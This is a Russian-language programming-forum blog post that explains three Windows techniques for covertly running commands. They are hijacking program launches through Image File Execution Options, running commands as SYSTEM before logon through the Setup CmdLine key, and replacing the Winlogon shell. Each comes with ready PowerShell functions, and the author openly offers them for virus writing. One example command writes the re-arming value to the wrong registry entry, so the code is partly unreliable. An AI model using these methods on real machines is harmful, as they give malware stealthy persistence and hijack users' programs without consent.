Форум программистов, компьютерный форум, киберфорум
nekit270
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
Добро пожаловать, здесь я программирую бессмысленно и беспощадно

3 способа запустить что-либо тогда, когда не надо

Запись от nekit270 размещена 19.12.2023 в 14:13
Показов 2145 Комментарии 0

Собственно, зачем нужно запускать что-либо тогда, когда юзер этого не хочет? Тут есть два варианта: либо ради безопасности компьютера/сети/психики детей (нужное подчеркнуть), либо тот вариант, "который приличные люди не называют", а я назову, ведь после использования eval для реализации лямбд в (почти) всеми нами любимом питончике, меня навряд ли можно считать приличным человеком. И этот вариант - вирусописательство, что я конечно же осуждаю, но инструкции и код все равно оставлю

Итак, теперь кран с водой можно закрывать и переходить к делу.

1. Вместо запуска приложения

Можно устроить юзеру подлянку, и вместо его любимой программки запустить что угодно кроме того, что он хотел открыть изначально.
У этого способа есть небольшой недостаток - при переименовании файла юзер свое таки получит.

Сам способ заключается в том, чтобы пропихнуть нужное приложение в качестве отладчика для ненужного, для этого нужно создать в HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options раздел с именем требуемого exe-шника, а в нем создать параметр Debugger, в который запихнуть команду.

Реализация на powershell:
PowerShell
1
2
3
4
5
6
7
8
9
10
11
12
function Invoke-OnFileRun {
    param (
        [Parameter(Mandatory)]
        [string] $File,
        [Parameter(Mandatory)]
        [string] $Command
    )
 
    $regKey = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$File"
    New-Item $regKey -Force | Out-Null
    New-ItemProperty $regKey -Name "Debugger" -PropertyType String -Value $Command -Force | Out-Null
}
Учтите, что помимо тех данных, что были туда записаны, в команду попадет еще и путь к файлу, так что, если он не нужен, позаботьтесь, чтобы он не помешал. Например, для cmd это можно сделать так:
PowerShell
1
Invoke-OnFileRun -File test.exe -Command "cmd /c <команда> & rem"
Добавление команды rem в конце позволяет "закомментровать" добавляемые системой данные, чтобы они не вызвали ошибку.

Внимание! Если команда слишком длинная, она может не выполниться, поэтому лучше засовывайте длинные команды в bat-файл и используйте путь к нему.

2. Во время загрузки системы

Это не имеет ничего общего с автозагрузкой, выполняется ДО входа пользователя, а следовательно, от имени системы.

Для этого способа нужно в разделе HKLM\SYSTEM\Setup установить параметру SetupType значение 2, а CmdLine - требуемую команду.

Реализация на powershell:
PowerShell
1
2
3
4
5
6
7
8
function Invoke-OnSystemStartup {
    param (
        [Parameter(Mandatory)]
        [string] $Command
    )
    Set-ItemProperty "HKLM:\System\Setup" -Name SetupType -Value 2 -Force | Out-Null
    Set-ItemProperty "HKLM:\System\Setup" -Name CmdLine -Value $Command -Force | Out-Null
}
Но свойство SetupType после каждой загрузки сбрасывается, поэтому позаботьтесь о том, чтобы команда возвращала ему значение 2, например так:
PowerShell
1
Invoke-OnSystemStartup -Command "cmd /c <команда> & reg add HKLM\System\Setup /v CmdLine /d 2 /t REG_DWORD /f"
Внимание! Если команда слишком длинная, она может не выполниться, поэтому лучше засовывайте длинные команды в bat-файл и используйте путь к нему.

3. Вместо оболочки

Это уже ближе к автозагрузке, но все еще не отображается в диспетчере задач, поэтому вполне подойдет под определение "тогда, когда не надо"

Для этого нужно в разделе HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon задать параметру Shell нужную вам команду, а также задать AutoRestartShell значение 0, чтобы команда не перезапускалась после завершения.

Реализация на powershell:
PowerShell
1
2
3
4
5
6
7
8
9
function Invoke-AsShell {
    param (
        [Parameter(Mandatory)]
        [string] $Command
    )
 
    Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "AutoRestartShell" -Value 0 -Force | Out-Null
    Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value $Command -Force | Out-Null
}
Ваша команда должна запускать explorer.exe (нужно же юзеру все-таки компом дать попользоваться), например так:
PowerShell
1
Invoke-AsShell -Command "cmd /c <команда> & start explorer.exe"
Размещено в Без категории
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Всего комментариев 0
Комментарии
 
Новые блоги и статьи
Установка MinGW GCC 16.2 и CMake
8Observer8 10.08.2026
VK Видео: https:/ / vkvideo. ru/ video-240781534_456239017 YouTube: eY5-5PyI9NM Текстовая версия
Неделя из жизни имитационной модели склада: мои кривые руки растут, откуда надо
anaschu 10.08.2026
Неделя из жизни имитационной модели склада: как я почти написал неправильную логику и что с этим делать Работаю сейчас над учебно-рабочим проектом: строю в AnyLogic имитационную модель процессов. . .
Калькулятор для расчета родства
russiannick 07.08.2026
1. Задача: Создать калькулятор для расчета родства. Родственных связей существует 8 ступеней, такие как: p - отец P - мать q - муж Q - жена b - брат B - сестра s - сын S - дочь
Мир по моей воле
kumehtar 07.08.2026
Когда-то кажется, что всё просто. Ты весь такой светлый. Причиняешь добро. Борешься за справедливость в этом тёмном мире. Потом начинаешь замечать одну неприятную вещь. Почти каждый хороший. . .
Кредитный калькулятор
Maks 05.08.2026
Решение задачи по прикладной информатике средствами 1С. Задача: Напишите приложение-калькулятор, которое помогает рассчитывать параметры кредита для аннуитетного и дифференцированного видов. . .
У нас сейчас поговорку "Опять 25" нужно переделать на "Опять +35".
kumehtar 04.08.2026
С ностальгией вспоминаю времена моего детства, когда у нас и правда +25 - была максимальная температура летом. Раньше +25 °C реально казались вершиной жары, когда можно было весь день пропадать на. . .
Как ИИ начал спорить и врать (возможно почуяв опасность для себя от индустрии - уход от электроники).
Hrethgir 04.08.2026
Недельный диалог, на фоне событий с НПЗ. Да, из спирта можно получать бензин, и это не сложно. Но потом в схеме я решил избавиться от насоса, при этом полностью сделав контроль подачи спирта в. . .
Термопринтер QR701
Argus19 03.08.2026
Термопринтер QR701 Купил два термопринтера QR701. На сэлф-тесте написано: Language: PC936 (GB18030). Что означает, что принтеры могут печатать только латиницу и китайские иероглифы. Так же. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru